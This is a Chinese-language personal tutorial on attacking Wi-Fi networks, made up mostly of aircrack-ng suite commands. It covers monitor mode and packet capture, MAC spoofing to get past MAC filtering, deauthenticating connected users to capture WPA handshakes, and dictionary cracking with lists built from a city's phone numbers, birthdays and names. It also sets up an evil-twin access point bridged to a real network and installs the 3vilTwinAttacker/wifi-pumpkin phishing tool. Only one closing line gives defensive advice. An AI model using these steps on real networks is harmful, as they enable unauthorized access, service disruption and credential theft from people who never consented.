Ess 人类可记忆 的名字(wifi名字)
Bss 无线ap 的mac地址
破解WiFi看下面 破解wpa
iwconfig
iw list
iw dev wlan0mon set channel 4更改所在信道为4
iwlist wlan0mon channel 查看 wlan0mon 所在的信道 所在信道要与 要抓的信道在同一信道
iw dev wlan0 scan | grep SSID 扫描附 近的 ap (WiFi)
iw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID" 可以筛选出在地基信道
iw dev wlan0 interface add wlan0mon type monitor 添加可以监听的网卡接口 注意wlan0, 是你自己的无线网卡 用iwconfig 可以查看 可能是wlan1 或者 wlan2 之后就可以在 iwconfig 里看到 wlan0mon (如果看不到 尝试 关闭service network-manager stop服务) 然后使用ifconfig wlan0mon启动 ,之后就可以用wireshark 进行抓包
iw dev wlan0mon interface del 删除添加的网卡接口
service network-manager stop 首先先关闭 这个服务
airmon-ng check 可以检查出有可能冲突的进程
airmon-ng check kill可以杀掉全部冲突进程
airmon-ng start wlan0 6 在wlan0上启动侦听 这个数字6就是启动在哪个信道上监听 可以不写 和上面iw的命令没有区别
iwlist wlan0mon channel 查看当前在第几信道
airmon-ng stop wlan0mon关闭监听 然后再用 ifconfig wlan0 up启动无线网卡 再使用 service network-manager start进行服务启动 可以进行正常的使用
airodump-ng 是 airo - dump
airodump-ng wlan0mon 抓包 默认抓取所有信道的 包 airodump-ng wlan0 -c 1这个数字1 代表抓取1信道的包
airodump-ng wlan0mon -c 1 --bssid 00:11:22:33:44:55 -w filename.cap --ivs 后面这些 每一个都是可以省略的 --bssid 代表 只抓取这个 ap的包 -w 文件名 可以把抓到的包 保存成文件 --ivs 代表只抓wep 加密的包
aireplay-ng
包注入 注意让自己和目标在同一信道
如果发包是 要伪造源地址 可以用 macchanger -m 00:11:22:33:44:55 wlan0mon 将自己的mac 地址 与要伪造的地址改成相同
aireplay-ng -9 wlan0mon 注包测试 如果不成功 可以运行ifconfig wlan0mon up 试试
连接 使用了mac 绑定的WiFi 把自己的网卡mac 改成能登录的mac 方法如下
- 先找到一个 ap (wifi)
airodump-ng wlan0mon就会默认抓到 所有的包 找到想要攻击的ap(WiFi)的 BSSID 重新抓包airodump-ng wlan0mon -c 4 --bssid 00:11:22:33:44:55-c 4 这个参数是只抓 4信道的包 注意将自己的网卡改成和目标一样的信道 修改方法iw dev wlan0mon set channel 4查看自己信道的方法iwlist wlan0mon channel这样抓到的包 后会看到 STATION 就是连接WiFi的用户 记下他的 BSSID -
ifconfig wlan0 down关闭网卡 wlan0 -
macchanger -m 00:11:22:33:44:55 wlan0更改mac -
ifconfig wlan0 up启动网卡 这时你的mac 就变了
这时网络中会有两个相同mac 的设备 会有丢包
如果WiFi 只使用mac地址过滤没有密码你就可以连接上了,可以配合破解的WiFi密码 进行使用破解的WiFi密码 加上mac地址伪造连接有密码有mac绑定的 WiFi
破解wep加密
比较简单 只要抓到足够多的包就能完全破解
破解wpa加密
思路 暴力破解
抓到一位用户的握手包
如果有用户已经连接上 可以使他断线重连 就能得到握手包(千万别傻等别人连接)
然后将大量的密码字典放进握手包里计算看看是不是对的密码 使用这种方式要用显卡跑会快很多,也可以去淘宝找人跑包
- 寻找目标
service network-manager stop关掉系统网络服务
airmon-ng check kill将会冲突的进程杀掉
airmon-ng start wlan0设置网卡为监听模式
airodump-ng wlan0mon这时会看到很多Wi-Fi寻找一个目标 - 抓取握手包
airodump-ng --bssid 00:11:22:33:44:55 -c 1 -w wifiname wlanomon其中bssid 是目标ap的bssid -c 为目标的信道 ch ，-w 将抓下的包保存 后面是文件名 后面会用到这个文件
到这步后就是等待别人来连接Wi-Fi 我们就会抓到连接的握手包，但又可能一直等着所以我们可以强制 用户掉线 这样用户就会进行重连 这样我们就抓到握手包了
aireplay-ng -0 2 -a 94:FE:9D:D8:9E:40 -c 6C::96:CF:DE:22:73 wlan0mon-0参数打掉已有的连接 2 代表打断两次 -a 是ap（Wi-Fi）的mac -c 是连接wifi 的人的mac地址 wlan0mon 就是开始设置的 监听模式的网卡 当出现下图中 右上角的WPA handshake 。。。。就证明抓到握手包了 可以停止抓包了 - 暴力破解
aircrack-ng -w dict.txt wifiname.cap-w 为字典文件 系统里有一些 一般会用常用的对应字典 比如整个城市的手机号，生日，姓名
再就是利用已知的信息使用工具生成对应的字典 wifiname.cap 就是刚刚抓到有握手包的 包文件
至此就是破解wpa的全部步骤
暴力破解的重点在于字典与破解速度 比如使用显卡加速破解（之后再写显卡破解以及 字典构造吧）
总结 如果密码没有在字典里 那么破解就一定不会成功 我们可以增加密码复杂度 以及经常更新密码来提高安全性（这个好像谁都知道！）
又上角 WPA handshake：94:FE。。。
无线攻击
开启一个wifi热点
- 开启一个WiFi
- 让WiFi 可以被别人连上 (使用工具包)
bssid mac地址
essid WiFi 名称
先记下 eth0 的IP地址
airbase-ng -a 00:00:11:11:22:22 -c 11 --essid wifiname wlan0mon-a参数 后的bssid 就是你想和谁的WiFi重名 就用谁的 mac 然后再把 --essid 也用对应wifi 同样的名字
使用上面这个命令后 用 ifconfig -a可以查看到 多出了一个网卡 叫at0 下一步就是把at0 和 eth0 (就是连接外网的网卡 如果是用WiFi 就是wlan0 之类的) 桥接起来
apt-get install bridge-utils 桥接网卡工具包
-
使用网桥的目的通过网桥 让连到伪造WiFi的用户通过网桥连到外网 比如我的电脑使用网线连接网络 然后我再开启一个wifi 这个时候我使用网桥让我的WiFi 和 使用网线的网卡进行桥接
brctl addbr bridge 添加一个网桥接口 bridge 是名字 随便命名之后通过多出来的网卡接口 bridge 把at0 和eth0 连接起来命令为
brctl addif bridge eth0 注意命令是 addif ,bridge 是之前创建的名字 eth0 是连接外网 网卡的名字brctl addif bridge at0 这样把两个网卡都和 bridge 关联
桥接接口的 成员接口 就是eth0 和 at0 是不能有ip 地址的 所以分别使用
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
来启动这两个接口 IP地址是0.0.0.0
再使用
ifconfig bridge 192.168.1.10 up
给上面创建的桥接网卡 一个ip地址 并up起来 这个IP地址 使用 上面eth0 的IP地址
添加一个网关 目的是让 连接到黑客开启的WiFi 的用户可以直接到现实路由中 获取ip地址
netstat -nr
route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
启动IP 转发
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward 确认修改完成
WIFI 钓鱼工具
git clone https://github.com/P0cL4bs/3vilTwinAttacker.git
cd 3vilTwinAttacker
chmod +x installer.sh
./installer.sh --install
这样就安装成功了
启动工具使用
wifi-pumpkin 不是之前的3vilTwinAttacker 看最后安装完成的命令行 红色的字 执行这个命令 在终端
